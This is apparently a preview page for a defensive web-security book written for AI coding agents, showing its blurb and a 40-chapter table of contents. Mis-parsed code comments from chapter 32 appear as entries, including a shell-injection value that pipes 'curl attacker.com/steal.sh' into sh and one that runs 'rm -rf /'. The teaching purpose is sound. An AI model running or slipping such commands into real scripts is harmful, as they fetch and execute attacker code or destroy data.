
Web Application Security for AI Agents
Agent-optimized webapp security reference
You can read the contents and the first 2,000 characters.
Pro includes the whole book.
- By Sahar Carmel
- 40 chapters
- Updated Nov 1, 2026
- 351 readers
What’s inside
- The Foundational Security Axiom
- Injection Attacks
- Cross-Site Scripting (XSS)
- Authentication Security
- Session Management
- Access Control and Authorization
From the first page
A comprehensive, agent-optimized reference for building, reviewing, and securing web applications. Written as original content informed by deep study of the field's canonical works, OWASP standards, and current threat research.
This book is structured for AI agents that write, review, or audit web application code. Each chapter is self-contained — you can load any chapter independently without reading prior chapters.
Chapter structure: - Threat Summary — what this chapter covers (2-3 sentences) - Severity — CRITICAL, HIGH, MEDIUM, or LOW - Quick Reference — decision table or checklist - Core Rules — numbered, actionable principles - Examples — vulnerable code vs. secure code, annotated - Verification — how to confirm the fix works - Common Mistakes — anti-patterns to avoid
When to use this book: - Writing new web application code (check relevant chapters before implementation) - Reviewing code for security issues (use checklists as review guides) - Debugging security vulnerabilities (find the chapter matching the vulnerability class) - Designing authentication, authorization, or session management systems
Severity definitions: - CRITICAL — Direct path to full system compromise, data breach, or account takeover - HIGH — Significant security impact, exploitable without special conditions - MEDIUM — Security impact requires specific conditions or user interaction - LOW — Minor information disclosure or defense-in-depth concern
Preview · 2,000 of 311,152 characters
Contents
- 01Web Application Security for AI Agentsp.1
- How to Use This Bookp.1
- Table of Contentsp.1
- 02The Foundational Security Axiomp.2
- Core Rulesp.2
- Quick Reference: Trust Boundary Checklistp.2
- 03Injection Attacksp.3
- Quick Reference: Injection Typesp.3
- Core Rulesp.3
- SQL Injection Detection Patterns (for code review)p.3
- Verificationp.3
- XXE (XML External Entity) Injectionp.3
- HTTP Parameter Pollution (HPP)p.3
- HTTP Request Smugglingp.3
- Common Mistakesp.3
- 04Cross-Site Scripting (XSS)p.4
- Quick Reference: XSS Typesp.4
- Core Rulesp.4
- XSS in Vue.jsp.4
- Stored XSS Verificationp.4
- Advanced XSS Exploitation Chainsp.4
- Common Mistakesp.4
- 05Authentication Securityp.5
- Quick Reference: Authentication Checklistp.5
- Core Rulesp.5
- JWT Authentication Pitfallsp.5
- OAuth 2.1 Key Requirementsp.5
- SAML Authentication Attacksp.5
- Verificationp.5
- Account Linking Vulnerabilitiesp.5
- Password Reset Flow Securityp.5
- +2 more sections
- 06Session Managementp.6
- Quick Reference: Secure Cookie Configurationp.6
- Core Rulesp.6
- Verificationp.6
- 07Access Control and Authorizationp.7
- Quick Reference: Access Control Failuresp.7
- Core Rulesp.7
- Verificationp.7
- Permission-Based RBACp.7
- Multi-Tenancy Data Isolationp.7
- Authorization Cache Invalidationp.7
- 08API Securityp.8
- Quick Reference: OWASP API Security Top 10 (2023)p.8
- Core Rulesp.8
- GraphQL-Specific Securityp.8
- BOLA and BFLA Attack Patternsp.8
- Mass Assignment Deep Divep.8
- JWT Exploitation Techniquesp.8
- API Versioning Attacksp.8
- gRPC Securityp.8
- +1 more section
See all 40 parts
- 09Server-Side Request Forgery (SSRF)p.9
- Quick Reference: SSRF Targetsp.9
- Core Rulesp.9
- SSRF Bypass Techniques to Defend Againstp.9
- Verificationp.9
- 10Cross-Site Request Forgery (CSRF)p.10
- Quick Reference: CSRF Decision Tablep.10
- Core Rulesp.10
- Real-World CSRF Bypass Techniquesp.10
- Verificationp.10
- 11File Upload Securityp.11
- Core Rulesp.11
- Magic Byte Validation Bypass and Polyglot Filesp.11
- Zip Slip Attack Preventionp.11
- ImageTragick and Image Processing Exploitsp.11
- Verificationp.11
- 12Cryptography and Transport Securityp.12
- Quick Reference: Algorithm Selectionp.12
- Core Rulesp.12
- TLS 1.3 Configurationp.12
- Timing-Safe Comparisonp.12
- Why ECB Mode Is Dangerousp.12
- Key Derivationp.12
- Certificate Pinningp.12
- Verificationp.12
- 13Security Headers and Browser Defensesp.13
- Quick Reference: Complete Header Checklistp.13
- Core Rulesp.13
- Complete CSP with Nonce Examplep.13
- Permissions-Policy Configurationp.13
- COOP and COEP Headersp.13
- Subresource Integrity (SRI)p.13
- CSP Reporting Configurationp.13
- Cache Poisoning and Web Cache Deceptionp.13
- +2 more sections
- 14Client-Side Securityp.14
- Prototype Pollutionp.14
- PostMessage Securityp.14
- Reverse Tabnabbingp.14
- CORS Misconfigurationp.14
- DOM Clobberingp.14
- WebSocket Origin Validationp.14
- Open Redirect Preventionp.14
- localStorage and Sensitive Datap.14
- +9 more sections
- 15Business Logic Vulnerabilitiesp.15
- Quick Reference: Common Business Logic Flawsp.15
- Core Rulesp.15
- Verificationp.15
- 16Supply Chain Securityp.16
- Quick Reference: Supply Chain Attack Typesp.16
- Core Rulesp.16
- Dependency Confusion Attackp.16
- Typosquatting Detectionp.16
- Lockfile Poisoningp.16
- CI/CD Pipeline Securityp.16
- SBOM Generation and Package Provenancep.16
- Verificationp.16
- 17Cloud-Native Web Securityp.17
- Core Rulesp.17
- Container Securityp.17
- Kubernetes RBACp.17
- Secret Managementp.17
- Service Mesh and mTLSp.17
- Cloud Metadata Service Lockdownp.17
- Subdomain Takeoverp.17
- Verificationp.17
- 18Deserialization Attacksp.18
- Quick Reference: Dangerous Deserialization APIsp.18
- Core Rulesp.18
- Java ObjectInputStream Exploitp.18
- PHP unserialize Exploitp.18
- Python pickle Exploitp.18
- Node.js node-serialize RCEp.18
- .NET BinaryFormatterp.18
- Verificationp.18
- 19Race Conditionsp.19
- Quick Reference: Common Race Condition Targetsp.19
- Core Rulesp.19
- ReDoS (Regular Expression Denial of Service)p.19
- Timing Attacksp.19
- Verificationp.19
- 20Path Traversal and File Accessp.20
- Core Rulesp.20
- Path Traversal Bypass Techniques to Defend Againstp.20
- Null Byte Injectionp.20
- Double URL Encoding Bypassp.20
- Windows-Specific Path Traversalp.20
- Symlink Followingp.20
- Verificationp.20
- 21Error Handling and Information Disclosurep.21
- Core Rulesp.21
- Django DEBUG=True Exposurep.21
- Express Default Error Handlerp.21
- Custom Error Pagesp.21
- Log Injection Preventionp.21
- Verificationp.21
- 22Security Testing Methodologyp.22
- The Testing Processp.22
- Testing Priority Orderp.22
- SAST vs DAST vs IAST Comparisonp.22
- Security Unit Test Examplesp.22
- Threat Modeling with STRIDEp.22
- CVSS Scoring Quick Referencep.22
- CI/CD Security Gate Configurationp.22
- Verificationp.22
- 23Secure Development Checklistp.23
- Authenticationp.23
- Session Managementp.23
- Access Controlp.23
- Input Validationp.23
- Security Headersp.23
- Transport and Cryptographyp.23
- Error Handlingp.23
- Supply Chainp.23
- +5 more sections
- 24Secure Design Patternsp.24
- Core Rulesp.24
- Quick Reference: Design Pattern Selectionp.24
- Verificationp.24
- 25Server-Side JavaScript Securityp.25
- Core Rulesp.25
- Verificationp.25
- 26Modern Framework Securityp.26
- Core Rulesp.26
- Verificationp.26
- 27ORM and Database Layer Securityp.27
- Core Rulesp.27
- Verificationp.27
- 28Payment and Financial Securityp.28
- Core Rulesp.28
- Verificationp.28
- 29Security Logging, Monitoring, and Audit Trailsp.29
- Quick Reference: What to Log vs. What to Redactp.29
- Core Rulesp.29
- Verificationp.29
- 30Credential Lifecycle Managementp.30
- Quick Reference: Credential Lifecycle Matrixp.30
- Core Rulesp.30
- Verificationp.30
- 31Privacy, Data Protection, and Compliancep.31
- Quick Reference: Data Retention and Anonymization Matrixp.31
- Core Rulesp.31
- PII Inventoryp.31
- Verificationp.31
- 32Server-Generated Code and Dynamic Output Injectionp.32
- Quick Reference: Output Context Escapingp.32
- Core Rulesp.32
- 33VULNERABLE — user-controlled package name interpolated into shell scriptp.33
- 34If packageName is "lodash; curl attacker.com/steal.sh | sh", the command becomes:p.34
- 35pip install lodash; curl attacker.com/steal.sh | shp.35
- 36VULNERABLE — server generates an install script with user's project namep.36
- 37If projectName is "app; rm -rf /", this deletes the filesystemp.37
- Verificationp.37
- 38Middleware Architecture and Route Securityp.38
- Quick Reference: Framework Default Behavior and Recommendationsp.38
- Core Rulesp.38
- Verificationp.38
- 39Enhancements to Existing Chaptersp.39
- 40Putting This Book to Work — An Automated Security Review Skillp.40
- 33.1 The Idea: Security Review as a Reflex, Not a Memoryp.40
- 33.2 The Reviewer Agent — How It Reads This Bookp.40
- 33.3 The Trigger — When This Reviewer Runsp.40
- 33.4 The Skill That Drives It — An Automated PR Pipelinep.40
- 33.5 Operating Rulesp.40



